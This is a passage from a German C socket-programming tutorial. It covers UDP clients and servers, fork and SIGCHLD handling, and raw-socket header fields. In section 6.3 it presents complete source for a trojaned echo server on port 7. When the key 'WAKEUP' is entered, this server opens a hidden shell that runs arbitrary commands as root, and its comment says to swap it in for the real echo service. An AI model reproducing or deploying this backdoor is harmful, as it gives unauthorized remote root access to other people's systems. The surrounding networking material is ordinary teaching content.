Bitte dran denken, dass recvfrom eine blockierende Funktion ist und man
Funktionen wie select einbauen muss (sonst bleibt das Programm bei keiner
Serverantwort haengen). Wir werden ein noch einfacheres Beispielprogamm
schreiben.
Welche
Vorteile bringt der connect() Aufruf denn bei UDP?
Also,
wenn wir connect() aufrufen, sind wir in der Lage die Daten mit Funktionen wie
write() oder send() zu uebertragen. Ausserdem koennen wir mit Funktionen wie
read() oder recv() lesen.
5.2
UDP Server
Wir
machen einen kleinen Schwenker, rueber zu den Servern. Die Server arbeiten mit
den selben Funktionen wie bei den Clienten und bei den TCP Servern.
socket()
|
|
bind()
| <--------|
recvfrom() |
|
|
sendto()
|
|
|
close()------|
Als
UDP Server kann man auf ein listen() verzichten. Dennoch muessen wir mit bind()
die Protokoll spezifischen Daten festlegen (siehe tcp).
Der Server wartet natuerlich zunaechst
auf den erhalt eines Packets (recvfrom) und faengt dann mit der Verarbeitung an.
Was auffaellt ist, ist dass wir weder listen() noch accept() benoetigen. Wir
warten einfach darauf das uns irgendjemand irgendwas schickt, was mit UDP zu tun
hat.
5.3
UDP Server/Client Beispiel (sysinfs.c sysinfc.c)
In
diesem Beispiel, werden wir einen UDP Server schreiben, der dem Clienten
Informationen ueber den Kernel schickt.
Wir
werden wie gewohnt immer einige Gedankenschnitte machen, damit das Programm auch
verstanden wird. Zunaechst der Server – sysinfs.c.
#include
<stdio.h>
#include
<sys/socket.h>
#include
<netinet/in.h>
#define SERV_PORT 6996
/* port to "listen"
*/
#define SYSINFO
"/proc/version" /* get
sysinfos */
Hier
werden wie gewohnt erst einmal die benoetigten Header eingebunden. Wir
definieren SERV_PORT als den default Port fuer unsere
Anwendung.
Aus
der Datei SYSINFO lesen wir die Daten, die wir dem Client senden
werden.
int
main(void)
{
int sockfd,
nbytes;
char sysinfos[60] = { 0
};
char message[20] =
{ 0 };
size_t len;
struct sockaddr_in servaddr,
cliaddr;
FILE *fd;
sockfd = socket(AF_INET, SOCK_DGRAM,
0);
if(sockfd < 0)
{
fprintf(stderr, "error,
cannot creat socket\n");
return(-1);
}
fd = fopen(SYSINFO,
"r");
if(fd == NULL) {
fprintf(stderr, "error,
cannot open sys file\n");
return(-1);
}
fgets(sysinfos, sizeof(sysinfos),
fd);
servaddr.sin_family =
AF_INET;
servaddr.sin_port =
htons(SERV_PORT);
servaddr.sin_addr.s_addr
= htonl(INADDR_ANY);
bind(sockfd, (struct sockaddr
*)&servaddr, sizeof(servaddr));
Da
sind wir auch schon in der main() Funktion. Zunaechst deklarieren wir einige
Variablen (ich denke dazu brauche ich nichts weiter sagen). „sockfd“
initialisieren wir zu einem UDP Socket (SOCK_DGRAM).
Via
fopen() oeffnen wir unsere Infodatei zum lesen und lesen via fgets die Daten aus
dieser Datei in den „sysinfos“ Puffer.
Nun
legen wir die Protokollinformationen fest. Wie bei TCP Servern, den Port und
erlaubte Incomes (INADDR_ANY = jeder darf connecten).
Diese
Daten binden wir mit bind() an den Socket fest.
while(1)
{
len =
sizeof(cliaddr);
nbytes = recvfrom(sockfd,
message, sizeof(message), 0,
&cliaddr, &len);
if(nbytes < 0)
{
fprintf(stderr,
"recvfrom error\n");
return(-1);
}
nbytes = sendto(sockfd,
sysinfos, sizeof(sysinfos), 0,
(struct
sockaddr *)&cliaddr, sizeof(cliaddr));
if(nbytes < 0)
{
fprintf(stderr,
"sendto error\n");
return(-1);
}
}
return(0);
}
In
der Endlosschleife, warten wir auf ankommende Daten. Wenn wir welche empfangen,
initialisieren wir die Struktur „cliaddr“ mit den Werten des Absenders und
schicken unsere Informationen an den Absender.
Das
war der Server.
Nun
kommen wir zum Clienten (sysinfc.c).
#include
<stdio.h>
#include
<sys/socket.h>
#include
<netinet/in.h>
#define SERV_PORT 6996
#define MESS "gimmi
infos"
int main(int argc,
char **argv)
{
int sockfd,
nbytes;
size_t len;
char received[60] = { 0
};
struct sockaddr_in
servaddr;
if(argc < 2) {
printf("%s [hosts-IP]
{port}\n",argv[0]);
return(-1);
}
sockfd = socket(AF_INET, SOCK_DGRAM,
0);
if(sockfd < 0)
{
fprintf(stderr, "error,
cannot creat socket\n");
return(-1);
}
Die
oberen Zeilen sind die selben wie beim Server, nur das wir diesmal MESS
diffinieren. Diese Konstante enthaelt den String der zum Server uebertragen
werden soll (unwichtig was drin steht).
Es
wird die Richtigkeit der Argumentsuebergabe ueberprueft. Es wird die IP zwingend
benoetigt doch es kann auch eine Portadresse angegeben werden
(optimal).
Wir
erstellen uns unseren Socket.
servaddr.sin_family
= AF_INET;
if(argc == 3)
servaddr.sin_port =
htons(atoi(argv[2]));
else servaddr.sin_port =
htons(SERV_PORT);
servaddr.sin_addr.s_addr =
inet_addr(argv[1]);
nbytes = sendto(sockfd, MESS, 11, 0,
(struct sockaddr *)&servaddr, sizeof(servaddr));
if(nbytes < 0)
{
fprintf(stderr, "cannot
write\n");
return(-1);
}
len =
sizeof(servaddr);
nbytes = recvfrom(sockfd, received,
sizeof(received), 0, &servaddr, &len);
if(nbytes < 0)
{
fprintf(stderr, "cannot
write\n");
return(-1);
}
printf("host %s running:
%s\n",argv[1],received);
return(0);
}
Wir
initialisieren die Werte der Struktur. Falls der Benutzer zwei Argumente
waehlte, nehmen wir das zweite Argument als Zielport. Ansonsten nehmen wir den
default Port.
Wir
senden dem Server irgendwas zu und der Server schickt uns seine Informationen
zurueck. Angemerkt sei noch mal, dass das letzte Argument von recvfrom() ein
Zeiger ist, daher deklarieren wir extra eine Variable namens
„len“.
Und
so sieht das ganze in der Praxis aus:
loomes:~
# ./sysinfs &
[1]
666 #
mm.. sollte mir dieser zufalls pid wert etwas sagen?!
loomes:~
# ./sysinfc 127.0.0.1
host
127.0.0.1 running: Linux version 2.2.18 (root@Pentium.suse.de)
(gcc version 2.
loomes:~
# netstat –s |
tail
…
Udp:
2 packets
received
0 packets to unknown port
received
0 packet receive
errors
2 packets
sent
#
fuer den erfolgreichen Ablauf von dieser UDP Applikation
sind
# tatsaechlich lediglich zwei UDP Pakete
beantsprucht worden. Alleine
# der TCP Verbindungsaugbau braeuchte
drei Pakete.
6.0
Anspruchsvollere Server
Bisher
haben wir es mit ziemlich primitiven Anwendungen zu tun, die leicht realisiert
werden koennen. Nachdem wir uns nun aber schon etwas mit der Thematik auskennen,
wollen wir was groesseres in Angriff nehmen. Dazu benoetigen wir jedoch noch
neue Funktionen die nun erklaert werden. Spaeter werden wir uns dann dem
naechstem Beispiel widmen.
6.1
fork
Diese
Funktion stellt unter Unix die einzigste moeglichkeit zum Anlegen eines neuen
Prozesses dar. Wenn wir „fork“ aufrufen kehrt die Funktion eigentlich zweimal
zurueck. Einmal kehrt die Funktion im aufgerufenem Prozess (Parent Process)
zurueck und einmal im erzeugtem Prozess (Child Process) mit dem Wert
0.
Alle
Deskribtoren, die im Parent-Prozess vor dem Aufruf von „fork“ offen sind, werden
nach der Rueckkehr von „fork“ gemeinsam mit dem Child-Prozess genutzt.
Netzwerkserver bedienen sich oft an dieser Methode.
„fork“s
typische Anwendungsgebiete sind:
1.
Ein Prozess legt eine Kopie von sich selbst an, so dass eine
Kopie
Operation bedienen kann, waehrend
sich die andere Kopie einer
anderen Aufgabe
widmet.
2.
Ein Prozess will ein anderes Programm ausfuehren. Er legt eine Kopie
von sich selbst an und fuehrt nun
„exec“ aus. Damit wird ein anders
Programm
ausgefuehrt.
Funktionsdefinition
#include
<unistd.h>
pid_t fork(void);
Rueckgabewerte
Rueckgabewert
0 im Childprozess, Prozess-ID von Child im Parent-Prozess. -1 erhalten wir bei
einem Fehlschlag.
Argumente
---
Manch
einer wird sich vielleicht schon fragen was das nun mit Netzwerkprogrammierung
zu tun hat. Nun, bisher hat unser Server seine Laufzeit immer nur einem einzigen
Clienten gewidmet. Das ist auch in Ordnung, so lange die Abhandlungszeit fuer
den Client auch so gering ist. Aber was tun wir wenn unser Dienst mehr Zeit in
Anspruch nimmt? Wenn wir den Server wie bisher schreiben, kann kein anderer
Client bedient werden, so lange ein Client verbunden ist.
Wir
werden dieses Problem geschickt umgehen, indem wir ueber „fork“ zur Bedienung
jedes Clients einen eigenen Child-Prozess anlegen. Der Parent-Prozess wird
waehrenddessen auf ankommende Verbindungen warten.
Beispiel:
/*
start */
...
pid_t
pid;
int
listenfd, connfd;
bind(listenfd,
...);
listen(listenfd,
20)
for(
; ; ) {
connfd
= accept(listenfd, ...);
if(
(pid = fork()) == 0) { /* child process */
close(listenfd); /* child close listening socket
*/
do_something(connfd);
/* does all work */
close(connfd); /* close sock in child
*/
exit(0);
/* exit the child */
}
close(connfd); /* close socket in Parent-Process
*/
}
Wir
sehen, dass nach dem “accept” Aufruf ein Prozess erstellt wird. Es wird
ueberprueft ob der Returnwert 0 ist. Wenn ja, befinden wir uns im Child-Prozess.
Dann schliessen wir den horchenden Socket „listenfd“ und rufen eine Funktion auf
die den Client weiter bedient. Nach der Rueckkehr der Funktion wird der
verbundene Socket geschlossen und via „exit“ der Child Prozess
verlassen(!). Eine grafik zur
verdeutlichung:
Client
Server
Verbindung
listen()
Connect()
<-----------------------------> connfd
Bisherige
handhabung
Client
Server
listen()
connect()
<------------------------------> connfd
|
|
|
| fork()
|
|
| Verbindung
V Child-Server
|------------------------>
connfd
Paralelle
Server handhabung
Der
Client baut in Wahrheit keine Verbindung zum Serverprozess auf, sondern
verbindet sich mit einer Kopie- dem Child-Prozess. Das ermoeglicht die
Kommunikation mit mehreren Clients gleichzeitig.
Wir
haben aber noch ein Problem. Das Beendigen des Child-Prozesses macht uns
Kopfschmerzen wenn wir das Programm wie oben aufgefuehrt starten. Nachdem wir
naemlich „exit“ aufrufen, kehren wir nicht nur in den Parent-Prozess zurueck.
Der Child Prozess wird zu einem Zombie Prozess. Zu erkennen an dem „Z“ bei der
Statusausgabe via „ps“.
Ein
Zombie ist kein Untoter der sich mit sabberndem Mund ueber unsere Katze her
macht, sondern ein „gestorbender“ Prozess. Der Prozess ist zwar tot, wartet aber
noch auf seine Beerdigung. Zombie-Prozesse enthalten Informationen ueber den
Prozess, sind fuer uns aber eigentlich unnuetz. Sie belegen Speicher und fressen
uns die Diskribtoren weg. Das kann zur Folge haben, dass Funktionen wie „fork“
oder „socket“ fehlschlagen.
Aber
wie beenden wir einen Child Prozess ordnungsgemaess?
Dazu
eine neue Funktion:
6.2
signal
Ein
Signal ist eine Benachrichtigung an einen Prozess, dass ein Ereignis
stattgefunden hat.
Signale
koennen:
Von
einem Prozess an einen anderen oder sich selbst gesendet
werden.
Vom
Kernel an einen Prozess gesendet werden.
Das
Signal mit dem wir uns besonders befassen nennt sich „SIGCHILD“ und wird bei
jeder Prozessbeendigung vom Kernel an den Parent-Prozess gesandt. Dazu nachher
mehr...
Mit
„signal“ koenne wir festlegen, dass eine Funktion aufgerufen werden soll, wenn
ein bestimmtes Signal eintrifft. Solche Funktionen bezeichnet man Signalhandler.
Diese haben keinen Rueckkgabewert und nur ein intenger
Argument.
void
sigchild_catch(int sig);
Dies
waehre ein gueltiger Signalhandler.
Wir
sind ebenfalls in der Lage Signale zu ignorieren.
Funktionsdefinition
Sigfunc *signal(int signalnr, Sigfunc
*signalhandler);
Rueckgabewerte
Bei
Misserfolg SIG_ERR.
Argumente
„signalnr“
sollte eine Konstante sein, die fuer ein Signal steht. Beispiele sind SIGALRM,
SIGURG, SIGPOLL oder SIGKILL.
„signalhandler“
ist der Name der Funktion die Aufgerufen werden soll, um auf das Signal
entsprechend zu reagieren.
Beispiel
if(singal(SIGCHLD,
sigchild_catcher) == SIG_ERR) printf(„warning: cannot install
signalhandler…\n”);
In
diesem Beispiel rufen wir “signal” in einer “if” Kontrollstruktur auf, um den
Rueckkgabewert direkt abzufangen. Wenn der Rueckgabewert SIG_ERR ist, soll er
uns bescheid geben. Andernfalls ist der Signalhandler erfolgreich installiert.
Als erstes Argument nehmen wir die Konstante „SIGCHILD“ und als Reaktion auf den
erhalt dieses Signals, soll die Funktion „sigchild_catcher“ aufgerufen
werde.
void
sigchild_catcher(int signo)
{
pid_t
pid;
int
stat;
pid
= wait(&stat);
return;
}
So
koennte Beispielsweise ein SIGCHLD handler aussehen. Mit der „wait“ Funktion
verhindern wir das ein Prozess zu einem Zombie mutiert. Wann immer wir
Child-Prozesse mit „fork“ starten, muessen wir mit „wait“ auf sie warten und
damit verhindern, dass sie zu Zombies werden. Das hoert sich auf den ersten
Moment vielleicht etwas abstrackt an, aber nach einem Beispiel sieht die Sache
schon anders aus.
#######NOTE#######
Besser
waehre der Umgang mit „waitpid()“...
##################
6.3
Beispielprogramm (paraleller Server)
In
unserm Beispielprogramm werden wir uns mit einem Echoserver befassen. Ein Client
verbindet sich mit dem Echoserver (tcp/7) und sendet diesem Strings. Der Server
liest diese ein und sendet sie zurueck. Das bedeutet, dass ein Client eine
unbestimmte Zeit in Anspruch nehmen kann. Damit muessen wir einen
Paralellenserver schreiben, da wir mehr als nur einen Clienten bedienen
moechten.
Das
Tut waehre kein „ES-C“ Tut, wenn wir den Echoserver nicht in eine trojanische
Pferd Variante aendern wuerden :). Der Server stellt also den Echodienst zur
Verfuegung, doch wenn wir einen bestimmten String uebermitteln (MAGICKEY),
eroeffnet sich uns eine Art Shell. In dieser koenne wir Systembefehle via
„system“ ausfuehren. Da der Echodient in der root-Rechte besitzt, koennen wir
unsere Shell-Befehle mit root-Rechten ausfuehren. Bei dem Sting „quit“
verschwinden wir wieder zum regulaerem Echoserver.
/*
echoser.c
a faked echo server
-> backdoor inclusive.
remove the original
echo program and put this on its place.
just connect with
telnet to it.
it acts like a
normal echo server but if u typ in the MAGICKEY
(its #defined -
change it) u ll see the igors prompt.
their u can type
all systemcommands u want to execute and igor will
do the rest for
u...
to quit from the
igor prompt type "quit" and u ll find urself again in
the normal echo
application.
l0om
*/
#include
<stdio.h>
#include
<netinet/in.h>
#include
<sys/socket.h>
#include
<sys/wait.h>
#include
<sys/signal.h>
#define MAGICKEY "WAKEUP"
int
echofunk(int sockfd);
int
igor(int sockfd);
void
sig_chld(int signo);
Wir
fuegen unsere Headerdateien ein. Wir difinieren eine Konstante die den MAGICKEY
darstellt. Wenn also wie oben „WAKEUP“ eingegeben wird, wird die „igor-shell“
gestartet.
Es
folgen Funktionsprototypen wie „echofunk“, die einem Client den eigentlichen
Echo-Dienst bereitstellt. „igor“ stellt die „igor-shell“ breit und „sig_chld“
ist unser Signalhandler.
int
echofunk(int sockfd)
{
ssize_t bytes;
char buffer[150];
memset(buffer, '\0',
sizeof(buffer));
while( (bytes = read(sockfd, buffer,
sizeof(buffer))) > 0) {
if(strncmp(buffer,MAGICKEY,
strlen(MAGICKEY)) == 0)
igor(sockfd);
buffer[bytes] =
'\0';
if(write(sockfd, buffer,
sizeof(buffer)) != sizeof(buffer))
return
-1;
memset(buffer,'\0',sizeof(buffer));
}
}
Die
„echofunk“ Funktion hat den verbundenen Deskribtor als Argument von dem auch
eine Eingabe int der „read“ Funktion erwartet wird. Die erhaltenen Daten werden
in „buffer“ geschrieben und auf unseren „MAGICKEY“ durchsucht. Falls dieser
gefunden wird starten wir die „igor“ Funktion. Ansonsten schreiben wir die
erhaltenen Daten an den Socket zurueck. „memset“ fuellt den Inhalt „buffer“ mit
„\0“. In dieser Funktion ist jedoch noch ein Problem fuer den wirklich korrekten
Ablauf des Programms versteckt. Viel Spass beim suchen! ;)
int igor(int
sockfd)
{
int status = 0;
ssize_t bytes;
char
syscommand[100];
write(sockfd, "say quit to exit
IGOR-PROMPT\n\n",32);
while(status == 0)
{
memset(syscommand,
'\0',sizeof(syscommand));
if(write(sockfd, "IGOR-PROMPT> ",13)
!= 13)
exit(0);
bytes = read(sockfd, syscommand,
sizeof(syscommand));
if(bytes < 0) return
-1;
else if(bytes == 0) return
0;
if(strncmp(syscommand, "quit", 4) ==
0)
status =
1;
syscommand[bytes] =
'\n';
if(system(syscommand) < 0)
{
write(sockfd,
"System-error\n", 13);
exit(0);
}
write(sockfd,"done...\n",8);
}
return 0;
}
In
dem String „syscommand“ wird spaeter unser Shell-Befehl abgelegt und als
Argument an „system“ uebergeben. Zunaechst werden wir von „igor“ begruesst. Wir
geben eine Art Prompt aus „IGOR-PROMPT>“ und lesen dann den Input es
Benutzers. Wir kontrollieren den korrekten Ablauf von „read“ (das sollten wir
auch in main tun!) und ueberpruefen ob der Benutzer mit „quit“ die Shell
verlassen will. Dann wird „system“ mit unserem Befehl aufgerufen. „system“
erstellt einen weiteren Prozess mit
„fork“ und fuehrt in diesem einen „exec“ aufruf aus und ist so in der Lage, ein
bereits vorhandenes Programm im Dateisystem auszufuehren. Es wird ueberprueft ob
„system“ einen Rueckgabewert unter 0 hat. Ist dies der fall hat die Funktion
fehlgeschlagen und die „igor“ Shell wird abgebrochen. Andernfalls wird ein
„done...“ ausgegeben.
void sig_chld(int
signo)
{
pid_t pid;
int stat;
pid =
wait(&stat);
return;
}
Unser
Signalhandler fuer die verhinderung von Zombies.
int main(void)
{
pid_t pid;
int sockfd,
connfd;
struct sockaddr_in
servaddr;
memset(&servaddr,
'\0',sizeof(servaddr));
servaddr.sin_family =
AF_INET;
servaddr.sin_port =
htons(7);
servaddr.sin_addr.s_addr
= htonl(INADDR_ANY);
sockfd = socket(AF_INET, SOCK_STREAM,
0);
if(sockfd < 0)
{
printf("cannot creat
socket\n");
return
-1;
}
bind(sockfd, (struct sockaddr
*)&servaddr, sizeof(servaddr));
listen(sockfd,
12);
signal(SIGCHLD,sig_chld);
while(1>0) {
connfd = accept(sockfd,
(struct sockaddr *)NULL,NULL);
if( (pid = fork()) == 0)
{ /* child
*/
close(sockfd);
echofunk(connfd);
exit(0);
}
close(connfd);
}
return 0;
}
In
der „main“ Funktion gibt es eigentlich nichts besonderes neues. Wie gehabt geben
wir via „sockaddr_in“ Protokollinformationen an die wir mit „bind“ an den Socket
binden und mit „listen“ auf ankommende Verbindungen horchen. Dann richten wir uns einen Signalhandler
ein, fuer den Erhalt von einem „SIGCHLD“ Signal. Dann greifen wir uns mit
„accept“ eine vollstaendige Verbindung aus der Warteschlange. Wir erstellen mit
„fork“ einen neuen Child, der die Handhabung es Echo-Dienstes fuer den Server
uebernimmt. Der Server wartet in der Zeit auf neu ankommende
Verbindungen.
Selbst
dieser Server ist noch ziemlich einfach gestrickt. Aber bei diesem Tut handelt
es sich schliesslich um eine Einfuehrung.
7.0
Einfuehrung in Raw-Sockets
Mit
Raw-Sockets sind wir in der Lage die transparents einer Verbindung aufzuheben
und uns selber unsere Datenpakete zu schnueren. Wir sind in der Lage alle
vorhandenen Flags zu initialisieren oder den Dateninhalt der Pakete zu
bestimmen. Raw-Socket Programmierung ist oftmals hilfreich wie wir an Programmen
wie „ping“, „trace-route“ oder „nmap“ erkennen koennen.
Um
Raw-Sockets nutzen zu koennen, sollten wir uns zunaechst mal einen erstellen.
Das realisieren wir indem wir „socket“ wie folgt aufrufen:
rawsock
= socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
So
sind wir in der Lage eigene ICMP Datenpakete zu schreiben, oder zu empfangen.
Wenn nun ein ICMP Paket eintrifft, koennen wir dieses mit hilfe von „read“ lesen
und auswerten. Es werden also alle ICMP Pakete ueber die „rawsock“ Schnittstelle
geleitet. Pakete senden koennen wir mit dem „send“ oder „sendto“ Aufruf. Dazu
spaeter mehr, wenn wir diesen benoetigen.
Unter
Linux haben wir einige spezielle Headerdateien die fuer Raw-IP genuzt werden
koennen. So haben wir beispielsweise „netinet/ip.h“ fuer einen korrekten IP
Header, „netinet/ip_icmp“ fuer einen korrekten ICMP header oder „netinet/udp.h“
fuer einen fertigen UDP header.
Wenden
wir nun unsere Grundkenntnisse von TCP/IP an, erinnern wir uns wie ein
Datenpaket aufgebaut ist. Zunaechst haben wir da den IP Header, der sozusagen
unser Packesel ist. Ohne Ihn finden IP Pakete im Netzwerk ihr Ziel nicht. Danch folgt das gewuenschte Protokoll
was transprotiert werden soll. So kann z.B. nach IP ein TCP oder ICMP Header
folgen.
7.1
Header Strukturen
Wir
werden uns nun dem TCP, UDP und ICMP Headern widmen. Ich werde hier auf die BSD
Strukturen zu sprechen kommen, da ich diese fuer die bessere Variante halte.
Keine Panik- der BSD Header ist unter Linux natuerlich verfuegbar. Einfach bevor
wir die einzelnen Header einbinden eine Konstante mit dem Namen „__FAVOR_BSD“
einbinden. Bei IP „__USE_BSD“ aber hier werden wir beim Standart bleiben, um
auch diese mal genauer kennen zu lernen. Wer nicht zu BSD tendiert, kann sich
mit einem „emacs /usr/include/netinet/ip.h || tcp.h || ip_icmp.h“ ueber die
einzelnen standart Header informieren. Dabei sollte bedacht werde, dass sich die
Header Struktur natruerlich nicht von andern Headern unterscheidet. Der
einizeige Unterschied besteht in der Namensgebung der einzelnen
Strukturelemente.
Des
weiteren, werde ich hier noch die Funktion der Datenfelder in den Paketen
beschreiben.
Zunaechst
werde ich die volle benennung jedes Feldes nennen und dann den Datentyp+namen
den das entsprechende Strukturelement traegt.
7.1.1
IP header
Version
(4 bits) - unsigned int
version:4
Dieses
Feld enthaelt die verwendete Version von IP. Zur Zeit wird in der Regel noch
Version 4 verwendet.
IHL
(4 bits) – unsgined int ihl:4
IHL
gibt die Laenge des IP headers im vielfachen von 32bit an, also 4 Byte. Daraus
ergibts sich ein Wert von 5 (5*32 = 160 Bits = 20 Bytes).
Type
of Service (8 bits) – u_int8_t tos
Hier
wird die Qualitaet des Dienstes abgelegt. Das 8 Bit lange Feld laesst sich wie
folgt aufschluesseln:
|Prioritaet|D|T|R|C|O|
-Prioritaet (3
bits)
Diese
Bits nennen einen der acht prioritaets Level. Dabei steht ein hoehere Wert fuer
hoehere Prioritaet.
0
- Normal
1
7- Priority
2
- Immediate
3
- Flash
4
- Flash override
5
- Critical
6
- Internet Control
7
- Network Control
Die
weiteren Bits fordern noch mehr Eigenschaften fuer die
Uebertragung.
D-Bit: delay fordert
eine Verbindung mit jurzer Verzoegerung an
T-Bit: troughput fordert hohen
Datendurchsatz
R-Bit: reliability fordert hohe
Sicherheit
C-Bit: Cost
fordert Toure zu nierdigeren Kosten (wer will das
nicht...)
Das
letzte Bit ist zur Zeit noch ungenutzt.
Paketlaenge
(total lenght) (16 bit) – u_int16_t tot_len
Enthaelt
die gesamtlaenge des Datagramms. Das heisst im Klartext, die laenge des IP
Headers + (TCP/UDP/ICMP) Header laenge + Dateninhalt.
Die
Maximale groesse betraegt uebrigends: 65535 bytes.
Kennung
(identification) (16 bits) – u_int16_t id
Dieser
Wert wird zur Nummerierung fragentierter Datagrammge eingesetzt. Jedes Packet
sollte eine eindeutige Nummer haben, daher wird dieser Wert oft um eins
inkrementiert.
Flags
(3 bit) – unsigned int flags:4
Wird
eine Fragmentierung vorgenommen, wird sie ueber dieses Feld
gesteuert.
O|DF|MF
Das
erste bit O wird nicht benutzt und steht immer auf 0.
DF:
seht fuer Do-Not-Fragment und verbiete, sofern es gesetzt ist, ein weiteres
Fragmentieren des Datenpakets.
MF:
seht fuer More-Flag und gibt an, dass noch weiteres Fragmentieren erwuescht ist.
Steht es auf 0 ist dieses der letzte oder das einzigste Fragment eines
Packets.
Fragment-Offset
(13 bits) – u_int16_t frag_off
Werden
fragmentierte Datagramme geschickt, gibt dieser Wert die Position der Daten im
urspruenglichen Datagramm an.
TTL
(time to live) (8 bits) – u_int8_t ttl
Mit
diesem Wert keonen wir unserm Paket seine Lebensdauer in Hops geben. Jedesmal
wenn ein IP Paket von einem Router weitergeleitet wird,wird sein ttl wert um
eins dekrementiert. Bei null wird das Packet gefressen.
Protokoll
(8 bits) – u_int8_t protocol
Dieses
Feld nennt das uebergeordnete Transportprotokoll.
Bsw.
ip->protocol = IPPROTO_TCP;
Header
Checksumme (16 bits) – u_int16_t check
Ip
sichert die Korrektheit der IP Daten in diesem Feld ab. Der Wert wird hier nur
aus dem IP Header berechnet. Fuer das Transportprotokoll und den Dateninhalt,
hat jedes uebergeordnetet Protokoll auch eine Checksumme.
Quell
IP (source ip) (32 bits) – u_int32_t saddr
Hier
steht die IP Adresse des Absenders.
Ziel
IP (dest ip) (32 bits) – u_int32_t daddr
Hier
steht die IP Adresse des Empfaengers.
Optionen
[optimal] (variable) – unspecified
Es
kann 40 Bytes lang sein. Was hier alles an Optionen reingepackt werden kann,
kann in einem RFC nachgelesen werden (ich habe dieses Feld bis dato nich nicht
verwedet).
7.1.2 TCP Header
Hier
verwenden wir mal die BSD Variante.
Quell-Port
(16 bits) – u_int16_t th_sport
Absende
Port.
Ziel-Port
(16 bits) – u_int16_t th_dport
Ziel
Port.
Sequenznummer
(32 bits) – tcp_seq th_seq
Dieses
Feld dient der Nummerierung des jeweils ersten Daten-Bytes des gesamten
Datenstroms.
Waehrend
des Verbindungsaufbaus, einigen sich die Partner auf eine Seq-Nummer. Danach
wird die Verbindung erstellt. Beim Hijacking muss man in seine Packete ebenfalls
mit dem richtigen Seq-Nummern bestuecken.
Acknowledgement-Nummer
(32 bits) – tcp_seq th_ack
Alle
Datenpakete werden bis zur angegebenen Nummer – 1 bestaetigt. Sie ist allerdings
nur gueltig, wenn das ACK Flags gesetzt ist.
Data
Offset (4 bits) – u_int8_t th_off:4
Entspricht
der Laenge des TCP Headers in 32bit Bloecken. Bei keinen Optionen
5.
Reserviert
(6 bits)
Treagt
keinen Wert (immer auf 000000 gesetzt).
Flags
(8 bits) – u_int8_t th_flags
FIN
– TH_FIN 0x01
Sobald
eine Station alle Daten uebertragen hat, wird dieses Flag signalisiert. Sendet
der empfaenger Ebenfalls ein FIN ist die Verbindung
beendet.
SYN
– TH_SYN 0x02
Das
SYN Flag wird beim Verbindungsaufbau verwendet.
RST
– TH_RST 0x03
Dieses
Bit zeigt einen aufgetretenen Fehler als Ursache dafuer an, das die Verbindung
geloescht werden muss, oder zeut in einer Antwort auf eine Verbingsanforderung,
dass diese zurueckgewiesen wird.
PSH
– TH_PUSH
0x08
Soll
das Empfangene Paket sofort an die Anwendungschicht uebertragen werden, muss
dieses Flag gesetzt sein.
ACK
– TH_ACK 0x10
Dieses
Flag signalisiert die Gueltigkeit des Werts der Acknowledgement
Nummber.
URG
– TH_URG 0x20
Hiermit
sind Datenpakete mit besonders hoher prioritaet zu uebertragen. Ist dieses Bit
gesetzt, wird das Urgent Pointer-Feld ausgewertet. URG wird Programmiertechnisch
immer bei UOB Daten verwendet und deutet auf einen Ausnahmefall hin (jedenfalls
bei der select Funktion).
#########NOTE#########
Wir
setzen Flags mit hilfe des „|“ Operators.
Tcp->th_flags
= TH_SYN | TH_FIN; /* setzt syn und fin */
Wir
ueberpruefen Flags mit hilfe des “&” Operators.
If(tcp->th_flags
& TH_SYN) /* wenn syn gesetzt ist, dann... */
#######################
Window
(16 bits) – u_int16_t th_win
Hier
senden wir dem Empfaenger wieviele Daten dieser aufeinmal zurueck senden
darf.
Check-Summe
(16 bits) – u_int16_t th_sum
Dient
der Kontrolle des TCP Headers und der Daten. Ein Paket mit flascher Checksumme
wird lautlos verworfen (das musste ich bei meinen ersten raw-ip geh versuchen
schmerzhaft feststellen...).
Optionen
[optimal] (variable) – undefined
Ich
verweise hier nur auf die entsprechenden RFCs. Ich habe mit diesem Feld
keinerlei Erfahrungen.
7.1.3
UDP Header
Auch
hier nehmen wir es noch mal mit der BSD Variante auf.
Quell-Port
(16 bits) – u_int16_t uh_sport
Quell
Port.
Ziel-Port
(16 bits) – u_int16_t uh_dport
Ziel
Port
Laenge
(16 bits) – u_int16_t uh_ulen
Hier
wird angegeben wie lang das UDP Packet ist (udp header +
daten).
Check-Summe
(16 bits) – u_int16_t uh_sum
Dieses
Feld dient der Kontrolle der Korrektheit der Header- und Datenbereichdaten.
7.1.4 ICMP Header
Hier
wieder den standard Header. Wer BSD will: „#define
__USE_BSD“.
Icmp
typ (8 bits) – u_int8_t type
Einige
icmp type beispiele
0 echo
reply
echo antwort
3
destination unreachable empfaeger
nicht erreichbar
4 source
quench
puffer ressourcen sind verbraucht
5
redirect
pfandumleitung
8 echo
request
echo anforderung
11 time
exeeded
zeit fuer datagram ueberschritten
12 parameter
problem
parameter problem
13 time stamp
zeitangabe anforderung
14 time stamp
reply
zeitangabe antwort
17 address mask
request
adressmaske anforderung
18 address mask
reply
adressmaske antwort
Icmp
code (8 bits) - u_int8_t code
Hier
koennen abhaengig vom Meldungstyp zusatzinformationen gegeben
werden.
Icmp
Checksumme (16 bits) – u_int16_t checksum
Wie
immer wird hier die Korrektheit des icmp Headers und der Daten
ueberprueft.
So. Hiermit haben wir
alle Transport Header besprochen und alle
Flags sind nun
klar.
Also
erstellen wir uns nun mal ein ICMP-Paket.
/*
start */
struct
iphdr *ip;
struct
icmphdr *icmp;
char
*packet;
...
packet
= (char *)malloc(sizeof(struct iphdr)+sizeof(struct
icmphdr));
ip
= (struct iphdr *) packet;
icmp
= (struct icmphdr *) (packet + (sizeof(struct iphdr));
...
ip->saddr
= inet_addr(argv[1]);
...
icmp->code
= 0;
...
/*
end */
Hier
deklarieren wir zunaechst einen Zeiger auf die IP Struktur und dannach einen auf
die ICMP Struktur. Dann erstellen wir mit hilfe von „malloc“ einen Datenpuffer der die groesse eines
IP und ICMP headers traegt. Dann
setzten wir mit Hilfe der Typenumwandlung unsere Headerstrukturen in den
Datenpuffer ein. Mit hilfe es „->“ Operators koennen wir nun die
Informationen fuer unser Paket bestimmen.
7.1.5 Pseudo Header
Die
berchnung der Chcksumme von TCP und UDP geht nur mit einem korrektem Pseudohdr
von statten. Dieser entaehlt Absender ip, Empfaenger ip, Laenge und
Protokoll.
/* define the
pseudohdr */
struct pseudohdr
{
/* for creating the checksums */
unsigned long
saddr;
unsigned long
daddr;
char useless;
unsigned char
protocol;
unsigned short
length;
};
Wie
das alles Programmiertechnisch von statten geht, koennt ihr euch bei meinen
